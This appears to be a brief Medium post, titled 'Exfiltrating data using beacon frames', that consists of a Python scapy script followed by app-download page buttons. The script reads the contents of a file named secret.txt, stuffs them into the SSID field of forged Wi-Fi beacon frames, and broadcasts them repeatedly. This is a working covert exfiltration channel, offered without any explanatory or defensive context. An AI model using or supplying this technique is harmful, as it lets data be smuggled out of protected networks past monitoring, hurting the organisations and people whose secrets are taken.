Exfiltrating data using beacon frames

from scapy.all import Dot11,Dot11Beacon,Dot11Elt,RadioTap,sendp,hexdump
f = open(“secret.txt”,”r”)
s = f.read()
iface = ‘wlan0mon’
dot11 = Dot11(type=0, subtype=8, addr1=’ff:ff:ff:ff:ff:ff’,
addr2=’22:22:22:22:22:22', addr3=’33:33:33:33:33:33')
beacon = Dot11Beacon(cap=’ESS+privacy’)
essid = Dot11Elt(ID=’SSID’,info=s, len=len(s))
frame = RadioTap()/dot11/beacon/essid
sendp(frame, iface=iface, inter=0.100, loop=1)

--

--

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store